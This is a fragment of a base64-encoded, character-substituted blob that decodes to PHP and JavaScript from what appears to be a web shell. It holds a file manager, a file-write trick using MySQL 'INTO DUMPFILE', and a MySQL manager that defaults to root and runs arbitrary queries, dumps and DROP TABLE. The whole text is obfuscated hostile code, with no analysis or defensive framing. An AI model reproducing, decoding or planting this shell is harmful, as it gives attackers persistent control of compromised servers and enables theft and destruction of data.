nY1cl9sNG5rJ10uJ1wnKTsiPkQyd248LzE+IHwgJyk7DQoJCQlwKCc8MSBocjVmPSJqMXYxc2NyNHB0OmMycHlmNGw1KFwnJy4kZjRsNWRiWydzNXJ2NXJfbDRuayddLidcJyk7Ij5DMnB5PC8xPiB8ICcpOw0KCQkJcCgnPDEgaHI1Zj0iajF2MXNjcjRwdDoycGY0bDUoXCc1ZDR0ZjRsNVwnLFwnJy4kZjRsNWRiWydzNXJ2NXJfbDRuayddLidcJyxcJycuJGY0bDVkYlsnZDRybDRuayddLidcJyk7Ij5FZDR0PC8xPiB8ICcpOw0KCQkJcCgnPDEgaHI1Zj0iajF2MXNjcjRwdDpyNW4xbTUoXCcnLiRmNGw1ZGJbJ3M1cnY1cl9sNG5rJ10uJ1wnKTsiPlI1bjFtNTwvMT4gfCAnKTsNCgkJCXAoJzwxIGhyNWY9ImoxdjFzY3I0cHQ6MnBmNGw1KFwnbjV3dDRtNVwnLFwnJy4kZjRsNWRiWydzNXJ2NXJfbDRuayddLidcJyxcJycuJGY0bDVkYlsnZDRybDRuayddLidcJyk7Ij5UNG01PC8xPicpOw0KCQkJcCgnPC90ZD48L3RyPicpOw0KCQkJJGY0bDVfNCsrOw0KCQl9DQoJfQ0KCXAoJzx0ciBjbDFzcz0iJy5iZygpLiciPjx0ZCAxbDRnbj0iYzVudDVyIj48NG5wM3QgbjFtNT0iY2hrMWxsIiB2MWwzNT0iMm4iIHR5cDU9ImNoNWNrYjJ4IiAybmNsNGNrPSJDaDVja0FsbCh0aDRzLmYycm0pIiAvPjwvdGQ+PHRkPjwxIGhyNWY9ImoxdjFzY3I0cHQ6ZDJmNGw1KFwnZDJ3bnIxclwnKTsiPlAxY2s0bmcgZDJ3bmwyMWQgczVsNWN0NWQ8LzE+IC0gPDEgaHI1Zj0iajF2MXNjcjRwdDpkMmY0bDUoXCdkNWxmNGw1c1wnKTsiPkQ1bDV0NSBzNWw1Y3Q1ZDwvMT48L3RkPjx0ZCBjMmxzcDFuPSJ1IiAxbDRnbj0icjRnaHQiPicuJGQ0cl80LicgZDRyNWN0MnI0NXMgLyAnLiRmNGw1XzQuJyBmNGw1czwvdGQ+PC90cj4nKTsNCglwKCc8L2Yycm0+PC90MWJsNT4nKTsNCn0vLyA1bmQgZDRyDQoNCjVsczU0ZiAoJDFjdDQybiA9PSAnc3FsZjRsNScpIHsNCgk0ZigkZDI0bmc9PSJteXNxbDNwbDIxZCIpew0KCQkkZjRsNSA9ICRfRklMRVNbJzNwbDIxZGY0bDUnXTsNCgkJJGY0bDVuMW01ID0gJGY0bDVbJ3RtcF9uMW01J107DQoJCTRmIChmNGw1XzV4NHN0cygkczF2NXAxdGgpKSB7DQoJCQltKCdUaDUgZzIxbCBmNGw1IGgxcyAxbHI1MWR5IDV4NHN0NWQnKTsNCgkJfSA1bHM1IHsNCgkJCTRmKCEkZjRsNW4xbTUpIHsNCgkJCQltKCdQbDUxczUgY2gyMnM1IDEgZjRsNScpOw0KCQkJfSA1bHM1IHsNCgkJCQkkZnA9QGYycDVuKCRmNGw1bjFtNSwncicpOw0KCQkJCSRjMm50NW50cz1AZnI1MWQoJGZwLCBmNGw1czR6NSgkZjRsNW4xbTUpKTsNCgkJCQlAZmNsMnM1KCRmcCk7DQoJCQkJJGMybnQ1bnRzID0gYjRuYWg1eCgkYzJudDVudHMpOw0KCQkJCTRmKCEkM3BuMW01KSAkM3BuMW01ID0gJGY0bDVbJ24xbTUnXTsNCgkJCQlteWRiYzJubigkZGJoMnN0LCRkYjNzNXIsJGRicDFzcywkZGJuMW01LCRjaDFyczV0LCRkYnAycnQpOw0KCQkJCSRyNXMzbHQgPSBxKCJTRUxFQ1QgMHh7JGMybnQ1bnRzfSBGUk9NIG15c3FsLjNzNXIgSU5UTyBEVU1QRklMRSAnJHMxdjVwMXRoJzsiKTsNCgkJCQltKCRyNXMzbHQgPyAnVXBsMjFkIHMzY2M1c3MnIDogJ1VwbDIxZCBoMXMgZjE0bDVkOiAnLm15c3FsXzVycjJyKCkpOw0KCQkJfQ0KCQl9DQoJfQ0KPz4NCjxzY3I0cHQgdHlwNT0idDV4dC9qMXYxc2NyNHB0Ij4NCmYzbmN0NDJuIG15c3FsZjRsNShkMjRuZyl7DQoJNGYoIWQyNG5nKSByNXQzcm47DQoJJCgnZDI0bmcnKS52MWwzNT1kMjRuZzsNCgkkKCdteXNxbGY0bDUnKS5kYmgyc3QudjFsMzU9JCgnZGI0bmYyJykuZGJoMnN0LnYxbDM1Ow0KCSQoJ215c3FsZjRsNScpLmRicDJydC52MWwzNT0kKCdkYjRuZjInKS5kYnAycnQudjFsMzU7DQoJJCgnbXlzcWxmNGw1JykuZGIzczVyLnYxbDM1PSQoJ2RiNG5mMicpLmRiM3M1ci52MWwzNTsNCgkkKCdteXNxbGY0bDUnKS5kYnAxc3MudjFsMzU9JCgnZGI0bmYyJykuZGJwMXNzLnYxbDM1Ow0KCSQoJ215c3FsZjRsNScpLmRibjFtNS52MWwzNT0kKCdkYjRuZjInKS5kYm4xbTUudjFsMzU7DQoJJCgnbXlzcWxmNGw1JykuY2gxcnM1dC52MWwzNT0kKCdkYjRuZjInKS5jaDFyczV0LnYxbDM1Ow0KCSQoJ215c3FsZjRsNScpLnMzYm00dCgpOw0KfQ0KPC9zY3I0cHQ+DQo8P3BocA0KCSEkZGJoMnN0ICYmICRkYmgyc3QgPSAnbDJjMWxoMnN0JzsNCgkhJGRiM3M1ciAmJiAkZGIzczVyID0gJ3IyMnQnOw0KCSEkZGJwMnJ0ICYmICRkYnAycnQgPSAnb28wZSc7DQoJZjJybWg1MWQoMXJyMXkoJ3Q0dGw1Jz0+J01ZU1FMIEluZjJybTF0NDJuJywnbjFtNSc9PidkYjRuZjInKSk7DQoJbTFrNWg0ZDUoJzFjdDQybicsJ3NxbGY0bDUnKTsNCglwKCc8cD4nKTsNCglwKCdEQkgyc3Q6Jyk7DQoJbTFrNTRucDN0KDFycjF5KCduMW01Jz0+J2RiaDJzdCcsJ3M0ejUnPT5hMCwndjFsMzUnPT4kZGJoMnN0KSk7DQoJcCgnOicpOw0KCW0xazU0bnAzdCgxcnIxeSgnbjFtNSc9PidkYnAycnQnLCdzNHo1Jz0+dSwndjFsMzUnPT4kZGJwMnJ0KSk7DQoJcCgnREJVczVyOicpOw0KCW0xazU0bnAzdCgxcnIxeSgnbjFtNSc9PidkYjNzNXInLCdzNHo1Jz0+NmksJ3YxbDM1Jz0+JGRiM3M1cikpOw0KCXAoJ0RCUDFzczonKTsNCgltMWs1NG5wM3QoMXJyMXkoJ24xbTUnPT4nZGJwMXNzJywnczR6NSc9PjZpLCd2MWwzNSc9PiRkYnAxc3MpKTsNCglwKCdEQk4xbTU6Jyk7DQoJbTFrNTRucDN0KDFycjF5KCduMW01Jz0+J2RibjFtNScsJ3M0ejUnPT42aSwndjFsMzUnPT4kZGJuMW01KSk7DQoJcCgnREJDaDFyczV0OicpOw0KCW0xazVzNWw1Y3QoMXJyMXkoJ24xbTUnPT4nY2gxcnM1dCcsJzJwdDQybic9PiRjaDFyczV0ZGIsJ3M1bDVjdDVkJz0+JGNoMXJzNXQsJ24yazV5Jz0+NikpOw0KCXAoJzwvcD4nKTsNCglmMnJtZjIydCgpOw0KCXAoJzxmMnJtIDFjdDQybj0iJy4kczVsZi4nIiBtNXRoMmQ9IlBPU1QiIDVuY3R5cDU9Im0zbHQ0cDFydC9mMnJtLWQxdDEiIG4xbTU9Im15c3FsZjRsNSIgNGQ9Im15c3FsZjRsNSI+Jyk7DQoJcCgnPGhhPlVwbDIxZCBmNGw1PC9oYT4nKTsNCglwKCc8cD48Yj5UaDRzIDJwNXIxdDQybiB0aDUgREIgM3M1ciBtM3N0IGgxcyBGSUxFIHByNHY0bDVnNTwvYj48L3A+Jyk7DQoJcCgnPHA+UzF2NSBwMXRoKGYzbGxwMXRoKTogPDRucDN0IGNsMXNzPSI0bnAzdCIgbjFtNT0iczF2NXAxdGgiIHM0ejU9InVpIiB0eXA1PSJ0NXh0IiAvPiBDaDIyczUgMSBmNGw1OiA8NG5wM3QgY2wxc3M9IjRucDN0IiBuMW01PSIzcGwyMWRmNGw1IiB0eXA1PSJmNGw1IiAvPiA8MSBocjVmPSJqMXYxc2NyNHB0Om15c3FsZjRsNShcJ215c3FsM3BsMjFkXCcpOyI+VXBsMjFkPC8xPjwvcD4nKTsNCglwKCc8aGE+RDJ3bmwyMWQgZjRsNTwvaGE+Jyk7DQoJcCgnPHA+RjRsNTogPDRucDN0IGNsMXNzPSI0bnAzdCIgbjFtNT0ibXlzcWxkbGY0bDUiIHM0ejU9IjY2aSIgdHlwNT0idDV4dCIgLz4gPDEgaHI1Zj0iajF2MXNjcjRwdDpteXNxbGY0bDUoXCdteXNxbGQyd25cJyk7Ij5EMndubDIxZDwvMT48L3A+Jyk7DQoJbTFrNWg0ZDUoJ2RiaDJzdCcpOw0KCW0xazVoNGQ1KCdkYnAycnQnKTsNCgltMWs1aDRkNSgnZGIzczVyJyk7DQoJbTFrNWg0ZDUoJ2RicDFzcycpOw0KCW0xazVoNGQ1KCdkYm4xbTUnKTsNCgltMWs1aDRkNSgnY2gxcnM1dCcpOw0KCW0xazVoNGQ1KCdkMjRuZycpOw0KCW0xazVoNGQ1KCcxY3Q0Mm4nLCdzcWxmNGw1Jyk7DQoJcCgnPC9mMnJtPicpOw0KfQ0KDQo1bHM1NGYgKCQxY3Q0Mm4gPT0gJ215c3FsMWRtNG4nKSB7DQoJISRkYmgyc3QgJiYgJGRiaDJzdCA9ICdsMmMxbGgyc3QnOw0KCSEkZGIzczVyICYmICRkYjNzNXIgPSAncjIydCc7DQoJISRkYnAycnQgJiYgJGRicDJydCA9ICdvbzBlJzsNCgkkZGJmMnJtID0gJzw0bnAzdCB0eXA1PSJoNGRkNW4iIDRkPSJjMm5uNWN0IiBuMW01PSJjMm5uNWN0IiB2MWwzNT0iNiIgLz4nOw0KCTRmKDRzczV0KCRkYmgyc3QpKXsNCgkJJGRiZjJybSAuPSAiPDRucDN0IHR5cDU9XCJoNGRkNW5cIiA0ZD1cImRiaDJzdFwiIG4xbTU9XCJkYmgyc3RcIiB2MWwzNT1cIiRkYmgyc3RcIiAvPlxuIjsNCgl9DQoJNGYoNHNzNXQoJGRiM3M1cikpIHsNCgkJJGRiZjJybSAuPSAiPDRucDN0IHR5cDU9XCJoNGRkNW5cIiA0ZD1cImRiM3M1clwiIG4xbTU9XCJkYjNzNXJcIiB2MWwzNT1cIiRkYjNzNXJcIiAvPlxuIjsNCgl9DQoJNGYoNHNzNXQoJGRicDFzcykpIHsNCgkJJGRiZjJybSAuPSAiPDRucDN0IHR5cDU9XCJoNGRkNW5cIiA0ZD1cImRicDFzc1wiIG4xbTU9XCJkYnAxc3NcIiB2MWwzNT1cIiRkYnAxc3NcIiAvPlxuIjsNCgl9DQoJNGYoNHNzNXQoJGRicDJydCkpIHsNCgkJJGRiZjJybSAuPSAiPDRucDN0IHR5cDU9XCJoNGRkNW5cIiA0ZD1cImRicDJydFwiIG4xbTU9XCJkYnAycnRcIiB2MWwzNT1cIiRkYnAycnRcIiAvPlxuIjsNCgl9DQoJNGYoNHNzNXQoJGRibjFtNSkpIHsNCgkJJGRiZjJybSAuPSAiPDRucDN0IHR5cDU9XCJoNGRkNW5cIiA0ZD1cImRibjFtNVwiIG4xbTU9XCJkYm4xbTVcIiB2MWwzNT1cIiRkYm4xbTVcIiAvPlxuIjsNCgl9DQoJNGYoNHNzNXQoJGNoMXJzNXQpKSB7DQoJCSRkYmYycm0gLj0gIjw0bnAzdCB0eXA1PVwiaDRkZDVuXCIgNGQ9XCJjaDFyczV0XCIgbjFtNT1cImNoMXJzNXRcIiB2MWwzNT1cIiRjaDFyczV0XCIgLz5cbiI7DQoJfQ0KDQoJNGYgKCRkMjRuZyA9PSAnYjFjazNwbXlzcWwnICYmICRzMXY1MXNmNGw1KSB7DQoJCTRmICghJHQxYmw1KSB7DQoJCQltKCdQbDUxczUgY2gyMnM1IHRoNSB0MWJsNScpOw0KCQl9IDVsczUgew0KCQkJbXlkYmMybm4oJGRiaDJzdCwkZGIzczVyLCRkYnAxc3MsJGRibjFtNSwkY2gxcnM1dCwkZGJwMnJ0KTsNCgkJCSR0MWJsNSA9IDFycjF5X2ZsNHAoJHQxYmw1KTsNCgkJCSRmcCA9IEBmMnA1bigkcDF0aCwndycpOw0KCQkJNGYgKCRmcCkgew0KCQkJCSRyNXMzbHQgPSBxKCdTSE9XIHQxYmw1cycpOw0KCQkJCTRmICghJHI1czNsdCkgcCgnPGhhPicubXlzcWxfNXJyMnIoKS4nPC9oYT4nKTsNCgkJCQkkbXlzcWxkMXQxID0gJyc7DQoJCQkJd2g0bDUgKCRjM3JyMncgPSBteXNxbF9mNXRjaF8xcnIxeSgkcjVzM2x0KSkgew0KCQkJCQk0ZiAoNHNzNXQoJHQxYmw1WyRjM3JyMndbMF1dKSkgew0KCQkJCQkJc3FsZDNtcHQxYmw1KCRjM3JyMndbMF0sICRmcCk7DQoJCQkJCX0NCgkJCQl9DQoJCQkJZmNsMnM1KCRmcCk7DQoJCQkJJGY0bDUzcmwgPSBzdHJfcjVwbDFjNShTQV9ST09ULCcnLCRwMXRoKTsNCgkJCQltKCdEMXQxYjFzNSBoMXMgczNjYzVzcyBiMWNrM3AgdDIgPDEgaHI1Zj0iJy4kZjRsNTNybC4nIiB0MXJnNXQ9Il9ibDFuayI+Jy4kcDF0aC4nPC8xPicpOw0KCQkJCW15c3FsX2NsMnM1KCk7DQoJCQl9IDVsczUgew0KCQkJCW0oJ0IxY2szcCBmMTRsNWQnKTsNCgkJCX0NCgkJfQ0KCX0NCgk0ZiAoJDRuczVydCAmJiAkNG5zNXJ0c3FsKSB7DQoJCSRrNXlzdHIgPSAkdjFsc3RyID0gJHRtcCA9ICcnOw0KCQlmMnI1MWNoKCQ0bnM1cnRzcWwgMXMgJGs1eSA9PiAkdjFsKSB7DQoJCQk0ZiAoJHYxbCkgew0KCQkJCSRrNXlzdHIgLj0gJHRtcC4kazV5Ow0KCQkJCSR2MWxzdHIgLj0gJHRtcC4iJyIuMWRkc2wxc2g1cygkdjFsKS4iJyI7DQoJCQkJJHRtcCA9ICcsJzsNCgkJCX0NCgkJfQ0KCQk0ZiAoJGs1eXN0ciAmJiAkdjFsc3RyKSB7DQoJCQlteWRiYzJubigkZGJoMnN0LCRkYjNzNXIsJGRicDFzcywkZGJuMW01LCRjaDFyczV0LCRkYnAycnQpOw0KCQkJbShxKCJJTlNFUlQgSU5UTyAkdDFibDVuMW01ICgkazV5c3RyKSBWQUxVRVMgKCR2MWxzdHIpIikgPyAnSW5zNXJ0IG41dyByNWMycmQgMmYgczNjYzVzcycgOiBteXNxbF81cnIycigpKTsNCgkJfQ0KCX0NCgk0ZiAoJDNwZDF0NSAmJiAkNG5zNXJ0c3FsICYmICRiMXM1ZXUpIHsNCgkJJHYxbHN0ciA9ICR0bXAgPSAnJzsNCgkJZjJyNTFjaCgkNG5zNXJ0c3FsIDFzICRrNXkgPT4gJHYxbCkgew0KCQkJJHYxbHN0ciAuPSAkdG1wLiRrNXkuIj0nIi4xZGRzbDFzaDVzKCR2MWwpLiInIjsNCgkJCSR0bXAgPSAnLCc7DQoJCX0NCgkJNGYgKCR2MWxzdHIpIHsNCgkJCSR3aDVyNSA9IGIxczVldV9kNWMyZDUoJGIxczVldSk7DQoJCQlteWRiYzJubigkZGJoMnN0LCRkYjNzNXIsJGRicDFzcywkZGJuMW01LCRjaDFyczV0LCRkYnAycnQpOw0KCQkJbShxKCJVUERBVEUgJHQxYmw1bjFtNSBTRVQgJHYxbHN0ciBXSEVSRSAkd2g1cjUgTElNSVQgNiIpID8gJ1I1YzJyZCAzcGQxdDRuZycgOiBteXNxbF81cnIycigpKTsNCgkJfQ0KCX0NCgk0ZiAoJGQyNG5nID09ICdkNWwnICYmICRiMXM1ZXUpIHsNCgkJJHdoNXI1ID0gYjFzNWV1X2Q1YzJkNSgkYjFzNWV1KTsNCgkJJGQ1bDV0NV9zcWwgPSAiREVMRVRFIEZST00gJHQxYmw1bjFtNSBXSEVSRSAkd2g1cjUiOw0KCQlteWRiYzJubigkZGJoMnN0LCRkYjNzNXIsJGRicDFzcywkZGJuMW01LCRjaDFyczV0LCRkYnAycnQpOw0KCQltKHEoIkRFTEVURSBGUk9NICR0MWJsNW4xbTUgV0hFUkUgJHdoNXI1IikgPyAnRDVsNXQ0Mm4gcjVjMnJkIDJmIHMzY2M1c3MnIDogbXlzcWxfNXJyMnIoKSk7DQoJfQ0KDQoJNGYgKCR0MWJsNW4xbTUgJiYgJGQyNG5nID09ICdkcjJwJykgew0KCQlteWRiYzJubigkZGJoMnN0LCRkYjNzNXIsJGRicDFzcywkZGJuMW01LCRjaDFyczV0LCRkYnAycnQpOw0KCQk0ZiAocSgiRFJPUCBUQUJMRSAkdDFibDVuMW01IikpIHsNCgkJCW0oJ0RyMnAgdDFibDUgMmYgczNjYzVzcycpOw0KCQkJJHQxYmw1bjFtNSA9ICcnOw0KCQl9IDVsczUgew0KCQkJbShteXNxbF81cnIycigpKTsNCgkJfQ0KCX0NCg0KCWYycm1oNTFkKDFycjF5KCd0NHRsNSc9PidNWVNRTCBNMW4xZzVyJykpOw0KCW0xazVoNGQ1KCcxY3Q0Mm4nLCdteXNxbDFkbTRuJyk7DQoJcCgnPHA+Jyk7DQoJcCgnREJIMnN0OicpOw0KCW0xazU0bnAzdCgxcnIxeSgnbjFtNSc9PidkYmgyc3QnLCdzNHo1Jz0+YTAsJ3YxbDM1Jz0+JGRiaDJzdCkpOw0KCXAoJzonKTsNCgltMWs1NG5wM3QoMXJyMXkoJ24xbTUnPT4nZGJwMnJ0JywnczR6NSc9PnUsJ3YxbDM1Jz0+JGRicDJydCkpOw0KCXAoJ0RCVXM1cjonKTsNCgltMWs1NG5wM3QoMXJyMXkoJ24xbTUnPT4nZGIzczVyJywnczR6NSc9PjZpLCd2MWwzNSc9PiRkYjNzNXIpKTsNCglwKCdEQlAxc3M6Jyk7DQoJbTFrNTRucDN0KDFycjF5KCduMW01Jz0+J2RicDFzcycsJ3M0ejUnPT42aSwndjFsMzUnPT4kZGJwMXNzKSk7DQoJcCgnREJDaDFyczV0OicpOw0KCW0xazVzNWw1Y3QoMXJyMXkoJ24xbTUnPT4nY2gxcnM1dCcsJzJwdDQybic9PiRjaDFyczV0ZGIsJ3M1bDVjdDVkJz0+JGNoMXJzNXQsJ24yazV5Jz0+NikpOw0KCW0xazU0bnAzdCgxcnIxeSgnbjFtNSc9PidjMm5uNWN0JywndjFsMzUnPT4nQzJubjVjdCcsJ3R5cDUnPT4nczNibTR0JywnY2wxc3MnPT4nYnQnKSk7DQoJcCgnPC9wPicpOw0KCWYycm1mMjJ0KCk7DQo/Pg0KPHNjcjRwdCB0eXA1PSJ0NXh0L2oxdjFzY3I0cHQiPg0KZjNuY3Q0Mm4gNWQ0dHI1YzJyZCgxY3Q0Mm4sIGIxczVldSwgdDFibDVuMW01KXsNCgk0ZiAoMWN0NDJuID09ICdkNWwnKSB7CQkNCgkJNGYgKCFjMm5mNHJtKCdJcyAyciA0c25cJ3QgZDVsNXQ0Mm4gcjVjMnJkPycpKSByNXQzcm47DQoJfQ0KCSQoJ3I1YzJyZGw0c3QnKS5kMjRuZy52MWwzNT0xY3Q0Mm47DQoJJCgncjVjMnJkbDRzdCcpLmIxczVldS52MWwzNT1iMXM1ZXU7DQoJJCgncjVjMnJkbDRzdCcpLnQxYmw1bjFtNS52MWwzNT10MWJsNW4xbTU7DQoJJCgncjVjMnJkbDRzdCcpLnMzYm00dCgpOw0KfQ0KZjNuY3Q0Mm4gbTJkZGJuMW01KGRibjFtNSkgew0KCTRmKCFkYm4xbTUpIHI1dDNybjsNCgkkKCdzNXRkYm4xbTUnKS5kYm4xbTUudjFsMzU9ZGJuMW01Ow0KCSQoJ3M1dGRibjFtNScpLnMzYm00dCgpOw0KfQ0KZjNuY3Q0Mm4gczV0dDFibDUodDFibDVuMW01LGQyNG5nLHAxZzUpIHsNCgk0ZighdDFibDVuMW01KSByNXQzcm47DQoJNGYgKGQyNG5nKSB7DQoJCSQoJ3M1dHQxYmw1JykuZDI0bmcudjFsMzU9ZDI0bmc7DQoJfQ0KCTRmIChwMWc1KSB7DQoJCSQoJ3M1dHQxYmw1JykucDFnNS52MWwzNT1wMWc1Ow0KCX0NCgkkKCdzNXR0MWJsNScpLnQxYmw1bjFtNS52MWwzNT10MWJsNW4xbTU7DQoJJCgnczV0dDFibDUnKS5zM2JtNHQoKTsNCn0NCjwvc2NyNHB0Pg0KPD9waHANCgkvLyYjYWk4MGk7JiNhMG82ZTsmI29pN2UwOyYjYXV1MGk7DQoJZjJybWg1MWQoMXJyMXkoJ24xbTUnPT4ncjVjMnJkbDRzdCcpKTsNCgltMWs1aDRkNSgnZDI0bmcnKTsNCgltMWs1aDRkNSgnMWN0NDJuJywnbXlzcWwxZG00bicpOw0KCW0xazVoNGQ1KCdiMXM1ZXUnKTsNCgltMWs1aDRkNSgndDFibDVuMW01Jyk7DQoJcCgkZGJmMnJtKTsNCglmMnJtZjIydCgpOw0KDQoJLy8mI29lODdvOyYjYW91aTA7JiNhaTllODsmI2FpdWl1OyYjYXVhNjY7DQoJZjJybWg1MWQoMXJyMXkoJ24xbTUnPT4nczV0ZGJuMW01JykpOw0KCW0xazVoNGQ1KCcxY3Q0Mm4nLCdteXNxbDFkbTRuJyk7DQoJcCgkZGJmMnJtKTsNCgk0ZiAoISRkYm4xbTUpIHsNCgkJbTFrNWg0ZDUoJ2RibjFtNScpOw0KCX0NCglmMnJtZjIydCgpOw0KDQoJLy8mI29lODdvOyYjYW91aTA7JiNvdTlhMDsNCglmMnJtaDUxZCgxcnIxeSgnbjFtNSc9PidzNXR0MWJsNScpKTsNCgltMWs1aDRkNSgnMWN0NDJuJywnbXlzcWwxZG00bicpOw0KCXAoJGRiZjJybSk7DQoJbTFrNWg0ZDUoJ3QxYmw1bjFtNScpOw0KCW0xazVoNGQ1KCdwMWc1JywkcDFnNSk7DQoJbTFrNWg0ZDUoJ2QyNG5nJyk7DQoJZjJybWYyMnQoKTsNCg0KCSRjMWNoNXQxYmw1cyA9IDFycjF5KCk7CQ0KCSRwMWc1bjNtID0gbzA7DQoJJHAxZzUgPSA0bnR2MWwoJHAxZzUpOw0KCTRmKCRwMWc1KSB7DQoJCSRzdDFydF9sNG00dCA9ICgkcDFnNSAtIDYpICogJHAxZzVuM207DQoJfSA1bHM1IHsNCgkJJHN0MXJ0X2w0bTR0ID0gMDsNCgkJJHAxZzUgPSA2Ow0KCX0NCgk0ZiAoNHNzNXQoJGRiaDJzdCkgJiYgNHNzNXQoJGRiM3M1cikgJiYgNHNzNXQoJGRicDFzcykgJiYgNHNzNXQoJGMybm41Y3QpKSB7DQoJCW15ZGJjMm5uKCRkYmgyc3QsICRkYjNzNXIsICRkYnAxc3MsICRkYm4xbTUsICRjaDFyczV0LCAkZGJwMnJ0KTsNCgkJLy8mI29vNzY5OyYjYTZ1ZWE7JiNhaTllODsmI2FpdWl1OyYjYXVhNjY7JiNhMHV1OTsmI2F1ZTg3Ow0KCQkkbXlzcWx2NXIgPSBteXNxbF9nNXRfczVydjVyXzRuZjIoKTsNCgkJcCgnPHA+TXlTUUwgJy4kbXlzcWx2NXIuJyByM25uNG5nIDRuICcuJGRiaDJzdC4nIDFzICcuJGRiM3M1ci4nQCcuJGRiaDJzdC4nPC9wPicpOw0KCQkkaDRnaHY1ciA9ICRteXNxbHY1ciA+ICd1LjYnID8gNiA6IDA7DQoNCgkJLy8mI29vNzY5OyYjYTZ1ZWE7JiNhaTllODsmI2FpdWl1OyYjYXVhNjY7DQoJCSRxMzVyeSA9IHEoIlNIT1cgREFUQUJBU0VTIik7DQoJCSRkYnMgPSAxcnIxeSgpOw0KCQkkZGJzW10gPSAnLS0gUzVsNWN0IDEgZDF0MWIxczUgLS0nOw0KCQl3aDRsNSgkZGIgPSBteXNxbF9mNXRjaF8xcnIxeSgkcTM1cnkpKSB7DQoJCQkkZGJzWyRkYlsnRDF0MWIxczUnXV0gPSAkZGJbJ0QxdDFiMXM1J107DQoJCX0NCgkJbTFrNXM1bDVjdCgxcnIxeSgndDR0bDUnPT4nUGw1MXM1IHM1bDVjdCAxIGQxdDFiMXM1OicsJ24xbTUnPT4nZGJbXScsJzJwdDQybic9PiRkYnMsJ3M1bDVjdDVkJz0+JGRibjFtNSwnMm5jaDFuZzUnPT4nbTJkZGJuMW01KHRoNHMuMnB0NDJuc1t0aDRzLnM1bDVjdDVkSW5kNXhdLnYxbDM1KScsJ241d2w0bjUnPT42KSk7DQoJCSR0MWJsNWRiID0gMXJyMXkoKTsNCgkJNGYgKCRkYm4xbTUpIHsNCgkJCXAoJzxwPicpOw0KCQkJcCgnQzNycjVudCBkMWIxYjFzNTogPDEgaHI1Zj0iajF2MXNjcjRwdDptMmRkYm4xbTUoXCcnLiRkYm4xbTUuJ1wnKTsiPicuJGRibjFtNS4nPC8xPicpOw0KCQkJNGYgKCR0MWJsNW4xbTUpIHsNCgkJCQlwKCcgfCBDM3JyNW50IFQxYmw1OiA8MSBocjVmPSJqMXYxc2NyNHB0OnM1dHQxYmw1KFwnJy4kdDFibDVuMW01LidcJyk7Ij4nLiR0MWJsNW4xbTUuJzwvMT4gWyA8MSBocjVmPSJqMXYxc2NyNHB0OnM1dHQxYmw1KFwnJy4kdDFibDVuMW01LidcJywgXCc0bnM1cnRcJyk7Ij5JbnM1cnQ8LzE+IHwgPDEgaHI1Zj0iajF2MXNjcjRwdDpzNXR0MWJsNShcJycuJHQxYmw1bjFtNS4nXCcsIFwnc3RyM2N0M3I1XCcpOyI+U3RyM2N0M3I1PC8xPiB8IDwxIGhyNWY9ImoxdjFzY3I0cHQ6czV0dDFibDUoXCcnLiR0MWJsNW4xbTUuJ1wnLCBcJ2RyMnBcJyk7Ij5EcjJwPC8xPiBdJyk7DQoJCQl9DQoJCQlwKCc8L3A+Jyk7DQoJCQlteXNxbF9zNWw1Y3RfZGIoJGRibjFtNSk7DQoNCgkJCSRnNXRuM21zcWwgPSAnJzsNCgkJCSRyM25xMzVyeSA9IDA7DQoJCQk0ZiAoJHNxbF9xMzVyeSkgew0KCQkJCSRyM25xMzVyeSA9IDY7DQoJCQl9DQoJCQkkMWxsMnc1ZDR0ID0gMDsNCgkJCTRmICgkdDFibDVuMW01ICYmICEkc3FsX3EzNXJ5KSB7DQoJCQkJJHNxbF9xMzVyeSA9ICJTRUxFQ1QgKiBGUk9NICR0MWJsNW4xbTUiOw0KCQkJCSRnNXRuM21zcWwgPSAkc3FsX3EzNXJ5Ow0KCQkJCSRzcWxfcTM1cnkgPSAkc3FsX3EzNXJ5LiIgTElNSVQgJHN0MXJ0X2w0bTR0LCAkcDFnNW4zbSI7DQoJCQkJJDFsbDJ3NWQ0dCA9IDY7DQoJCQl9DQoJCQlwKCc8ZjJybSAxY3Q0Mm49IicuJHM1bGYuJyIgbTV0aDJkPSJQT1NUIj4nKTsNCgkJCXAoJzxwPjx0MWJsNSB3NGR0aD0iYTAwIiBiMnJkNXI9IjAiIGM1bGxwMWRkNG5nPSIwIiBjNWxsc3AxYzRuZz0iMCI+PHRyPjx0ZCBjMmxzcDFuPSJhIj5SM24gU1FMIHEzNXJ5L3EzNXI0NXMgMm4gZDF0MWIxczUgJy4kZGJuMW01Lic6PC90ZD48L3RyPjx0cj48dGQ+PHQ1eHQxcjUxIG4xbTU9InNxbF9xMzVyeSIgY2wxc3M9IjFyNTEiIHN0eWw1PSJ3NGR0aDplMDBweDtoNTRnaHQ6aTBweDsydjVyZmwydzoxM3QyOyI+Jy5odG1sc3A1YzQxbGNoMXJzKCRzcWxfcTM1cnksRU5UX1FVT1RFUykuJzwvdDV4dDFyNTE+PC90ZD48dGQgc3R5bDU9InAxZGQ0bmc6MCBpcHg7Ij48NG5wM3QgY2wxc3M9ImJ0IiBzdHlsNT0iaDU0Z2h0OmkwcHg7IiBuMW01PSJzM2JtNHQiIHR5cDU9InMzYm00dCIgdjFsMzU9IlEzNXJ5IiAvPjwvdGQ+PC90cj48L3QxYmw1PjwvcD4nKTsNCgkJCW0xazVoNGQ1KCd0MWJsNW4xbTUnLCAkdDFibDVuMW01KTsNCgkJCW0xazVoNGQ1KCcxY3Q0Mm4nLCdteXNxbDFkbTRuJyk7DQoJCQlwKCRkYmYycm0pOw0KCQkJcCgnPC9mMnJtPicpOw0KCQkJNGYgKCR0MWJsNW4xbTUgfHwgKCRyM25xMzVyeSAmJiAkc3FsX3EzNXJ5KSkgew0KCQkJCTRmICgkZDI0bmcgPT0gJ3N0cjNjdDNyNScpIHsNCgkJCQkJJHI1czNsdCA9IHEoIlNIT1cgQ09MVU1OUyBGUk9NICR0MWJsNW4xbTUiKTsNCgkJCQkJJHIyd2RiID0gMXJyMXkoKTsNCgkJCQkJd2g0bDUoJHIydyA9IG15c3FsX2Y1dGNoXzFycjF5KCRyNXMzbHQpKSB7DQoJCQkJCQkkcjJ3ZGJbXSA9ICRyMnc7DQoJCQkJCX0NCgkJCQkJcCgnPHQxYmw1IGIycmQ1cj0iMCIgYzVsbHAxZGQ0bmc9Im8iIGM1bGxzcDFjNG5nPSIwIj4nKTsNCgkJCQkJcCgnPHRyIGNsMXNzPSJoNTFkIj4nKTsNCgkJCQkJcCgnPHRkPkY0NWxkPC90ZD4nKTsNCgkJCQkJcCgnPHRkPlR5cDU8L3RkPicpOw0KCQkJCQlwKCc8dGQ+TjNsbDwvdGQ+Jyk7DQoJCQkJCXAoJzx0ZD5LNXk8L3RkPicpOw0KCQkJCQlwKCc8dGQ+RDVmMTNsdDwv